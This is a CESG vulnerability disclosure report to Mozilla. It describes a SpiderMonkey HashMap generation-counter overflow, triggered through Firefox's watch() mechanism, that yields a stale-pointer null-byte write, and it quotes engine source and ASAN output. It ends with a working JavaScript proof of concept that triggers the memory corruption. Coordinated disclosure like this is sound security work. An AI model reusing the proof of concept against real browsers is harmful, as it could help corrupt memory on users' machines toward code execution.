CESG Vulnerability Report

February 2016

Summary

A vulnerability has been discovered in the SpiderMonkey JavaScript engine of Firefox which affects the latest version. The vulnerability has the potential to allow remote code execution.

This vulnerability has a Severity Score of 7.8 and a High Severity Rating (based on the Common Vulnerability Scoring System). The Severity Score and Severity Rating have been calculated from the Exploitability and Impact Metrics in Table 1.

Exploitability Metrics		Impact Metrics	
Metric	**Value**	**Metric**	**Value**
Access Vector	Network	Confidentiality Impact	Complete
Access Complexity	Medium	Integrity Impact	Complete
Authentication	None	Availability Impact	None

Table 1: Exploitability and Impact Metrics

Details

There is a way to trick SpiderMonkey into using an invalid hash entry by overflowing an unsigned 32-bit integer. This makes it possible to use this vulnerability to write a null byte at a relative offset using an invalid pointer. This is achieved using Watchers.

JavaScript Watchers are a Firefox-only mechanism included for debugging. They behave similarly to JavaScript Setters. A properties watcher is triggered whenever there is an attempt to modify that property, for example:

```
< var a = [1,2,3,4];
< a.watch("length", function(){console.log("fired!"); return 100});
> undefined
< a.length = 10;
> 10
> "fired!"
< a.length;
> 100
```

A key property of Watchers is that their underlying type is organized using a HashMap.

A HashMap is a data-structure which ties keys to values (it is sometimes called an associative array). SpiderMonkey's internal HashMap structure is used throughout the codebase to manage internal state. It has a weak validation scheme which can cause invalid members to be considered valid.

When an entry is removed from the HashMap, it is marked as removed but it is not actually freed. This means that after removing a number of entries we end up with a HashMap which is fragmented and has a capacity that is too large. This is because stale entries have remained in the HashMap. We can see this in the following code sample:

firefox-43.0.3/js/public/HashTable.h

```
    void remove(Entry &e)
    {
         MOZ_ASSERT(table);
         METER(stats.removes++);

         if (e.hasCollision()) {
             e.removeLive();
             removedCount++;
         } else {
             METER(stats.removeFrees++);
             e.clearLive();
         }
[0]      entryCount--;
    #ifdef JS_DEBUG
         mutationCount++;
    #endif
    }
```

The routine only acts on the `Entry e` and not on the HashMap itself, other than the decreased entryCount at [0]. The HashMap's state is checked after a remove operation:

firefox-43.0.3/js/public/HashTable.h

```
    void remove(Ptr p)
    {
        MOZ_ASSERT(table);
        mozilla::ReentrancyGuard g(*this);
        MOZ_ASSERT(p.found());
        remove(*p.entry_);
        checkUnderloaded();
    }
```

This `checkUnderloaded()` call boils down to this:

firefox-43.0.3/js/public/HashTable.h

```
    // Would the table be underloaded if it had the given capacity and
entryCount?
    static bool wouldBeUnderloaded(uint32_t capacity, uint32_t entryCount)
    {
         static_assert(sMaxCapacity <= UINT32_MAX / sMinAlphaNumerator,
         "multiplication below could overflow");
         return capacity > sMinCapacity &&
         entryCount <= capacity * sMinAlphaNumerator / sAlphaDenominator;
    }
```

If this function returns true the HashMap is resized, which prompts a set of re-allocations. Elements in the HashMap are moved to their new HashMap, which prevents fragmentation, and the old entries are left behind. This happens in the key function `changeTableSize(int dletaLog2)`:

firefox-43.0.3/js/public/HashTable.h

```
    RebuildStatus changeTableSize(int deltaLog2)
    {
    .....
         // Copy only live entries, leaving removed ones behind.
         for (Entry *src = oldTable, *end = src + oldCap; src < end; ++src)
{
             if (src->isLive()) {
                 HashNumber hn = src->getKeyHash();
                 findFreeEntry(hn).setLive(hn,
mozilla::Move(const_cast<typename Entry::NonConstT&>(src->get())));
                 src->destroy();
             }
         }
    .....
```

The oldTable (HashMap) is then destroyed, along with all the old invalid entries. This invalidates any references to old elements. References to old, valid (non-free) elements are also invalid since they have moved in memory.

The mechanism is almost exactly the same for element insertion. The HashMap needs to grow if it runs out of space for new elements. The corresponding call is `checkOverloaded`, which will call the same key function `changeTableSize(int deltaLog2)`.

The SpiderMokney engine has a guard for detecting the use of stale elements. HashMaps have an associated 'generation' member variable. When the HashMap is manipulated in a way that invalidates its pointers, this generation variable is changed to represent the fact that this HashMap's state is not consistent with what it was before the manipulation. Whenever the SpiderMokney engine grabs a reference to an element, it needs to make a note of the generation. Using this saved generation variable (which is a uint32_t), and the HashMap's `generation()` function call, it should be possible to verify that an element belongs to this HashMap generation.

As previously mentioned, when a HashMap is resized (and its entries are invalidated), the HashMap's 'generation' member is incremented. This prevents the use of stale entries. For example:

firefox-43.0.3/js/src/jswatchpoint.cpp

```
    ~AutoEntryHolder() {
[0]      if (gen != map.generation())
             p = map.lookup(WatchKey(obj, id));
         if (p)
             p->value().held = false;
    }
```

A check occurs at [0], and if the generations differ `p` is re-validated with a lookup. This is fine as long as there is no way the generations can be equal when the pointer is invalid. So how is it that this property holds?

firefox-43.0.3/js/public/HashTable.h

```
    RebuildStatus changeTableSize(int deltaLog2)
    {
      .....
[0]     gen++;
      .....
```

The variable is incremented whenever the table size changes. If this value is wrapped so that it matches the stale entry, it gets treated as valid.

That is the vulnerability, but more than just this overflow is needed to exploit the vulnerability:

1. a reference to a stale entry;
2. a way of deterministically resizing the table, so as to increment `gen`;
3. for the stale entry to actually do something useful.

One example where we get all of these things is in watchers (internally referred to as watchpoints).

If you look at the code that is called when a watcher is triggered, you might think that cannot use your stale entry:

firefox-43.0.3/js/src/jswatchpoint.cpp

```
    bool
    WatchpointMap::triggerWatchpoint(  JSContext *cx,
                                            HandleObject obj,
                                            HandleId id,
                                            MutableHandleValue vp)
    {
        Map::Ptr p = map.lookup(WatchKey(obj, id));
        if (!p || p->value().held)
            return true;

[0]     AutoEntryHolder holder(cx, map, p);

         /* Copy the entry, since GC would invalidate p. */
        JSWatchPointHandler handler = p->value().handler;
        RootedObject closure(cx, p->value().closure);

        /* Determine the property's old value. */
        Value old;
        old.setUndefined();
        if (obj->isNative()) {
            NativeObject *nobj = &obj->as<NativeObject>();
            if (Shape *shape = nobj->lookup(cx, id)) {
                if (shape->hasSlot())
                    old = nobj->getSlot(shape->slot());
            }
        }

       // Read barrier to prevent an incorrectly gray closure from
escaping the
```

```
        // watchpoint. See the comment before UnmarkGrayChildren in
gc/Marking.cpp
         JS::ExposeObjectToActiveJS(closure);

         /* Call the handler. */
[1]     return handler(cx, obj, id, old, vp.address(), closure);
    }
```

The `AutoEntryHolder` at [0] is where we get a write. As we can see at [1], this is where we regain control of execution, in the form of our callback. Inside this callback we cause a table resize, which invalidates the `Map::Ptr p`, and we go on to cause a large series of resizes which cause `gen` to wrap and be equal to the generation held by the `AutoEntryHolder`.

You might notice that the example given for checking the value of `gen` against the HashMap generation is `AutoEntryHolder`'s destructor:

firefox-43.0.3/js/src/jswatchpoint.cpp

```
    ~AutoEntryHolder() {
        if (gen != map.generation())
            p = map.lookup(WatchKey(obj, id));
[1]     if (p)
[0]         p->value().held = false;
    }
```

In this case, after passing the generation check, we get a one byte null write into freed memory at [0]. Since `AutoEntryHolder` is a stack local allocated Class, its destructor is called when the parent frame returns. Since this happens after our callback, its reference to `p` is invalid.

The following ASAN output is the result of the invalid read at [1]:

```
AddressSanitizer cannot describe address in more detail (wild memory access
suspected).
SUMMARY: AddressSanitizer: heap-buffer-overflow /builds/slave/m-cen-l64-
asan-000000000000000/build/src/obj-
firefox/js/src/../../dist/include/js/HashTable.h isLive
Shadow bytes around the buggy address:
0x0c36800152c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c36800152d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c36800152e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c36800152f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3680015300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c3680015310: fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3680015320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3680015330: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3680015340: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3680015350: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
```

Triggering this null write via the following proof of concept takes about twenty five minutes.

Proof of Concept

```
//spin up in a web worker
//place a breakpoint on ~AutoEntryHolder()
//when the breakpoint is triggered, see the generation check pass
//the p->value().held = false will write an invalid null byte.

var foo = {};

//never going to be called anyway.
var ret = function(){return;};

//the main callback which invalidates p and wraps gen.
var callback = function()
{
        //this many iterations will wrap gen because:
        //1 loop iteration: gen+=2;
        for(var i = 0; i < 2147483648 ; i++)
        {
                //adding two and removing two watchers is enough to trigger
2x resizes
                foo.watch("bar1", ret);
                foo.watch("bar2", ret);

                foo.unwatch("bar1");
                foo.unwatch("bar2");
        }

        //need to gen++; one more time, so do this out of the loop.
        foo.watch("bar1", ret);
        foo.watch("bar2", ret);
};

//pre populate the table (for efficiency)
foo.watch("bar0", ret);

//create p and trigger callback
foo.watch("bar", callback);
foo.bar = 0; //at this point our null byte has been written.
```

Contact Information

The CESG mailbox for vulnerability disclosure is ‘security@cesg.gsi.gov.uk’. Please contact us for our PGP key.

Crediting CESG

CESG would appreciate appropriate credit in any advisories which you may publish about this issue.

Verification, Resolution and Release

Please inform CESG via the 'security@cesg.gsi.gov.uk' mailbox, quoting the CESG Reference above, should you:

- confirm that this is a security issue;
- allocate the issue a CVE identifier;
- determine a date to release a patch;
- determine a date to publish advisories.

CESG Disclosure Policy

CESG has adopted the ISO 29147 approach to vulnerability disclosure, and as-such follows a co-ordinated disclosure approach with affected parties. We have never publicly disclosed a vulnerability prior to a fix being made available.

CESG recognises that vendors need a reasonable amount of time to mitigate a vulnerability, for example, to understand the impact to customers, to triage against other vulnerabilities, to implement a fix in coordination with others, and to make that fix available to its customers. As this will vary based on the exact situation CESG does not define a set time frame in which a fix must be made available, and we are happy to discuss the circumstances of any particular disclosure.

If CESG believes a vendor is not making appropriate progress with vulnerability resolution, we may, after discussion with the vendor, choose to share the details appropriately (for example, with service providers and our customers) to ensure that we provide appropriate mitigation of the threat to the UK and to UK interests.

Terms of Reference

Please note, any CESG findings and recommendations made have not been provided with the intention of avoiding all risks, and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times.

UK OFFICIAL SENSITIVE COMMERCIAL